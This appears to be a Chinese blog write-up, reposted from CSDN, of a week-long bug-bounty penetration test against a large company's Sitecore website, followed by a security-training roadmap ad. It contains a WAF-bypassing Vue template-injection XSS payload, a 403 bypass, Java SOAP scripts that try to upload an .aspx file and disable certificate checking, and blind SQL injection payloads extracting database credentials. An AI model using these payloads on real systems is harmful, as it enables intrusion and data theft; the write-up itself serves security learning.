前言
记录一次完整的某SRC漏洞挖掘实战，为期一个多星期。文章有点长，请耐心看完，记录了完整的SRC漏洞挖掘实战
渗透过程
因为选择的幸运儿没有对测试范围进行规划，所以此次范围就是没有范围。
先上主域名看一眼，看看能收集到什么有效信息：
发现存在搜索框：
测试点＋1
对页面点点点没发现什么有用的页面。
抓包看看，发现网站搭建了CDN，还有特殊文件：
难度+1，信息+1
谷歌一下，Sitecore是CMS，如果能确定这个CMS的版本就变成了白盒审计，但是尝试了一下无法确定版本只能用网上公开的CMS漏洞来测试。
网上只找到一个CVE-2021-42237（Sitecore XP远程代码执行漏洞），找个POC试试：
找了半天也只找到这几个，可能是因为这个CMS相对来说使用人数较少或者是写的好本身就没漏洞的原因。
用其中一个进行测试：
POC利用失败，提示连接出错。对POC代码分析：
发现请求的POC地址为：
手工请求URL地址后发现，被服务器拒绝访问了，对方做了敏感地址限制访问：
搜索CMS信息得知 /Sitecore 为 Sitecore CMS的后台地址目录，那就变得合理了起来，后续可以尝试绕过限制访问。
测试点+1。
对其进行端口扫描，看有什么暴露在外的服务。可以使用nmap也可以使用其他手段，但是本人对于端口扫描更倾向于使用nmap。
对收集到的端口一一访问，只有443端口能访问，此网站搭建了MySQL服务，1723端口搭建了内部人员使用的VPN服务，但是无法访问，其他的端口同样如此。
利用网上公开的平台扫描一下：
对前面收集的信息确认了一下，多了几个测试点。
对此域名的简单信息收集完成了，看看都有些什么漏洞，可以对漏洞点小测一下：
可以看到网站并没有对特殊符号进行过滤，那这个地方就可能存在SQL或者XSS注入
查看页面源代码发现此处的语句貌似很不安全，可能没有做转译。
测试发现存在WAF，这里可以尝试WAF绕过，但是暂时先不绕过了，渗透测试刚开始就挑硬柿子捏可能会导致开局不利
那就到网上看看收集到的插件可能会存在什么漏洞，搜来搜去只有发现Vue框架有一个可能有用的模板注入漏洞：
但可惜 Vue 是前端框架，Vue 的漏洞影响注定不会太大。通常 Vue.js 数据是通过双大括号{{}}或者v-text指令进行的数据绑定。Vue.js会自动将对应的模板编译成 JS 代码。但是它的源代码是没有对输入的数据进行过滤的。使用公开POC进行测试：
果不其然，被WAF拦截了
换种方法测试，同样行不通：
访问robots.txt可能会有额外的收获：
确定CMS为Sitecore，访问 /api 是403，访问Sitemap：
继续跳转：
是开发网站时的XML配置文件，算是信息泄露，不过没什么危害。
还可以试试403byass，具体绕过过程就不在这里演示了，通过X-Rewrite-URL覆盖路径实现了绕过：
但是上页面发现，绕过了，但并没有完全绕过，还是被重定向到主页面了。
那就收集旁站和子域名，可以使用工具像Layer，也可以用黑暗引擎像FOFA，SHODAN，笔者这里就用了FOFA收集：
俗话说得好一根烟，一杯酒，一个网站测一天。收集了一天，同时也测了一天，用了各种漏扫工具，扫着扫着就被封IP了。延时也好挂代理也好，漏扫工具终究有的漏洞点是扫不到的，况且只会用漏扫工具，那我不还是会点鼠标的猴子，为了成功吃到此次的西瓜，无奈只好大部分采用手工测试。
当然一天不可能什么收获都没有，因为这次测试的公司是个大规模公司（人家行业的领头羊呢），所以他们的暴露面就会相对来说广了许多：
收集到了几个相对来说较为有用的站点：
这几个站点很有意思，用的是同一套CMS，内容一样，功能一样，没区别。可能是当时搭建网站的时候使用的测试页面。
还有一个网站标题为项目管理网站，但是点开却什么功能都没有，后台扫描，上漏扫工具也什么都没扫到（这不纯纯诈骗吗）。
但是这是时候发现了一个站点开是空白，什么显示都没有，一般来说，这种空白的站可能会有意想不到的收获，因为可能是开发者遗漏掉的站
用后台扫描工具扫一下，还真扫出了两个文件：
访问一下
网站的开发文件泄露了，我们得到了网站插件的具体版本
另一个是一张GIF图：
页面并没有什么特别的地方，右键查看网页源代码看看，开发者ID值泄露了：
但是发现的这两个漏洞并没有什么实质性的作用，后期可能会配合其他的漏洞加以利用。实战情况下就是这么让人头大
那么就对先前发现的同模板网站进行测试，同样使用Vue的模板注入漏洞的POC：
页面输出了乘法运算的结果，进一步验证确定存在Vue模板注入漏洞，成功弹窗：
经过验证后其他两个网站也存在这个漏洞，能发现存在这个漏洞还是因为这些测试网站并没有搭建WAF，可能是开发者遗漏下的站点。所以说，柿子要挑软的捏，总不能说一开始就对一个布下重重防御的堡垒去测试，那样有可能浪费了很长时间都没有半点收获。
那么我们现在能知道主域名上也肯定存在这个漏洞，需要做的就是WAF绕过。对于如何绕过网上都有教程，这里就不在过多赘述，这是最终结果：
Payload：{{constructor.constructor%0a(%27\u0061\u006c\u0065\u0072\u00741%27)()}}
成功吃到西瓜，但是这个漏洞本质上还只是一个XSS，费了我这么长时间总不能就吃个小吧？
继续对域名进行收集测试，期间收集到一些各种各样的网站后台，都只是简单的测试了一下有没有SQL和逻辑漏洞，一直没有什么实质性的收获。真是碰上了一块硬骨头，这些网站都有人员维护，不光有WAF，而且该修的漏洞基本上都修了，就连OpenSSH1.1.1都升级到了1.1.1.c ，我都想换个SRC重新测了。
终于，在一个星期后的一天继续信息收集时，在FOFA上发现了一个 Service Web Service 接口
点开了其中一个发现给出了接口的调用代码，而且还有文件上传，XML上传的接口：
调用接口试试：
接口调用失败，又试了很多次，还是失败，换安全的文件、后缀、00截断都没有成功，因为不确定具体是因为什么原因所以写了个java脚本测试一下具体是什么原因：
import java.io. *;
import java.net. *;
public class FileUploader {
public static void main(String[] args) throws Exception {
String url = "http://target.com/Service.asmx";
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
// 设置请求方法和请求头
con.setRequestMethod("POST");
con.setRequestProperty("Content-Type", "text/xml; charset=utf-8");
con.setRequestProperty("SOAPAction", "http://tempuri.org/UploadFile");
// 构造SOAP消息体
String fs = ""; // TODO: 将文件内容转换为base64编码字符串
String path = "test.aspx";
String fileName = "test.aspx";
String soapXml =
"<soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' " +
"xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' " +
"xmlns:xsd='http://www.w3.org/2001/XMLSchema'>" +
"<soap:Body>" +
"<UploadFile xmlns='http://tempuri.org/'>" +
"<fs>" + fs + "</fs>" +
"<path>" + path + "</path>" +
"<fileName>" + fileName + "</fileName>" +
"</UploadFile>" +
"</soap:Body>" +
"</soap:Envelope>";
// 发送SOAP消息体
con.setDoOutput(true);
OutputStream os = con.getOutputStream();
os.write(soapXml.getBytes());
// 读取响应
int responseCode = con.getResponseCode();
System.out.println("Response Code : " + responseCode);
BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer response = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
in.close();
// 打印响应
System.out.println(response.toString());
}
}
程序提示对方服务器积极拒绝连接，说明管理员对调用文件上传接口IP做了限制（可真是块硬骨头），XML上传也同样是如此
无奈只能换个方向，用后台扫描工具扫一下，还真扫出了大量敏感文件：
因为帽子叔叔 + 这些数据真的是特别敏感的原因，就不方便展示了，只能说一下大概：
target.com/log/ 存放服务器日志文件
target.com/data/ 存放数据库文件
target.com/data/Setting.xml 包含数据库用户名，密码，IP地址
target.com/old/ 包含了服务器名称，密码
target.com/trace.axd 包含了服务器搭载的应用程序代码
target.com/update/ 存放系统内部文件，应用程序，dll
target.com/update/Setting.xml 服务名，IP，计算机名，密码和内部IP地址
这颗西瓜甜，但当时渗透测试进展到这个地步时，已经花费了一个星期的时间，所以笔者并不是很满意。所以就再对剩下的接口一一测式。其中一个接口是用来盘点商品信息的：
配合文件泄露漏洞，构造数据包，然后对其进行测试：
在 whcode 参数处输入商品货号，返回包中StocktakingStartResult 参数返回值为0
而随便输入一个不存在的数据，返回包中StocktakingStartResult 参数返回值为-1，由此可知接口调用成功返回值为0，失败为-1：
进一步构造判断语句，查看是否存在SQL注入漏洞：
验证：-1’ OR 1=1 ==> true 返回值为0
验证：-1’ OR 3+220-220-1=0+0+0+1 ==> false 返回值为-1
验证：-1’ OR 3*2=6 AND 000220=000220 ==> true 返回值为0
所以在参数whcode处一定存在SQL注入漏洞
判断完后就开始对其进行SQL注入：
发现竟然报错了，一开始笔者以为是语句构造错了，又换了几种语句无果后，想看看调用接口的回显是什么，问题出在哪里，所以就写了个脚本帮助判断
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.URL;
public class asmx {
public static void main(String[] args) throws Exception {
// 设置请求参数
String url = "https://target.com/";
String soapAction = "http://tempuri.org/StocktakingStart";
String payload = "<?xml version=\"1.0\"?><soap12:Envelope xmlns:soap12=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:tns=\"http://tempuri.org/\"><soap12:Header /><soap12:Body><tns:StocktakingStart><tns:user>tsSLAueP</tns:user><tns:whcode>1</tns:whcode><tns:PDtype>1</tns:PDtype><tns:UNITCODE>94102</tns:UNITCODE><tns:BRANDCODE>94102</tns:BRANDCODE></tns:StocktakingStart></soap12:Body></soap12:Envelope>";
// 创建连接
URL requestUrl = new URL(url);
HttpURLConnection connection = (HttpURLConnection) requestUrl.openConnection();
// 忽略SSL证书验证
javax.net.ssl.HttpsURLConnection.setDefaultHostnameVerifier(
(hostname, sslSession) -> true);
trustAllHttpsCertificates();
// 设置请求方法和头部
connection.setRequestMethod("POST");
connection.setRequestProperty("SOAPAction", soapAction);
connection.setRequestProperty("Content-Type", "text/xml;charset=UTF-8");
connection.setDoOutput(true);
// 发送请求
OutputStreamWriter writer = new OutputStreamWriter(connection.getOutputStream(), "UTF-8");
writer.write(payload);
writer.flush();
writer.close();
// 接收回显
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
StringBuilder responseBuilder = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
responseBuilder.append(line);
}
String response = responseBuilder.toString();
reader.close();
// 输出回显
System.out.println(response);
}
// 忽略SSL证书验证所需的方法
private static void trustAllHttpsCertificates() throws Exception {
javax.net.ssl.TrustManager[] trustAllCerts = new javax.net.ssl.TrustManager[1];
javax.net.ssl.TrustManager tm = new miTM();
trustAllCerts[0] = tm;
javax.net.ssl.SSLContext sc = javax.net.ssl.SSLContext.getInstance("SSL");
sc.init(null, trustAllCerts, null);
javax.net.ssl.HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
}
// 忽略SSL证书验证所需的类
static class miTM implements javax.net.ssl.TrustManager,
javax.net.ssl.X509TrustManager {
public java.security.cert.X509Certificate[] getAcceptedIssuers() {
return null;
}
public boolean isServerTrusted(
java.security.cert.X509Certificate[] certs) {
return true;
}
public boolean isClientTrusted(
java.security.cert.X509Certificate[] certs) {
return true;
}
public void checkServerTrusted(
java.security.cert.X509Certificate[] certs, String authType)
throws java.security.cert.CertificateException {
return;
}
public void checkClientTrusted(
java.security.cert.X509Certificate[] certs, String authType)
throws java.security.cert.CertificateException {
return;
}
}
}
是我惊奇的发现，没有回显，只有数据包，回显都在数据包里了，那这就不好办了，只能另寻思路。
在我绞劲脑汁，冥思苦想了一天多后，我想到了既然没有回显，那么就把语句全构造为判断句：
Payload：-1' OR ASCII(SUBSTRC((SELECT NVL(CAST(user AS VARCHAR(4000)),CHR(32)) FROM aaaa),1,1))>0 AND 000360=000360 --
这段代码是用ASCII码的大小来判断用户名密码，假设：用户名第一位的ASCII码为66，如果在判断过程中，66>67，那么后半段值就为假，反之则为真。这样就可以判断出数据库用户名和密码了，因为我先前已经通过信息泄露漏洞得知了数据库的用户名和密码所以就直接对用户名密码进行了验证，结果是相同的。
终于是不负有心人，耗费了笔者一个多星期，终于是吃到了大西瓜。有了SQL注入漏洞，后续就不用我多说了。当然，要挖掘SRC要注意分寸，不然会有帽子叔叔来找你的。
总结：
一句话，柿子要挑软的捏。渗透测试思路最重要，每个人在做渗透测试时的思路都不同，有思路有想法才能进行下去。
网络安全学习路线&学习资源
网络安全的知识多而杂，怎么科学合理安排？
下面给大家总结了一套适用于网安零基础的学习路线，应届生和转行人员都适用，学完保底6k！就算你底子差，如果能趁着网安良好的发展势头不断学习，日后跳槽大厂、拿到百万年薪也不是不可能！
初级网工
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）
2、渗透测试基础（一周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础（一周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）
4、计算机网络基础（一周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）
恭喜你，如果学到这里，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web 渗透、安全服务、安全分析等岗位；如果等保模块学的好，还可以从事等保工程师。薪资区间6k-15k
到此为止，大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗？
7、脚本编程（初级/中级/高级）
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力.
零基础入门，建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习； 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP， IDE强烈推荐Sublime； ·Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，不要看完； ·用Python编写漏洞的exp,然后写一个简单的网络爬虫； ·PHP基本语法学习并书写一个简单的博客系统； 熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)； ·了解Bootstrap的布局或者CSS。
8、超级网工
这部分内容对零基础的同学来说还比较遥远，就不展开细说了，贴一个大概的路线。感兴趣的童鞋可以研究一下，不懂得地方可以【点这里】加我耗油，跟我学习交流一下。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话，可以【点这里】加我耗油发给你，大家也可以一起学习交流一下。
一些我自己买的、其他平台白嫖不到的视频教程：
需要的话可以扫描下方卡片加我耗油发给你（都是无偿分享的），大家也可以一起学习交流一下。
结语
网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。
特别声明：
此教程为纯技术分享！本书的目的决不是为那些怀有不良动机的人提供及技术支持！也不承担因为技术被滥用所产生的连带责任！本书的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失！！！
本文转自 https://blog.csdn.net/kalilinuxsafe/article/details/138496998?spm=1001.2014.3001.5501，如有侵权，请联系删除。
1021
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
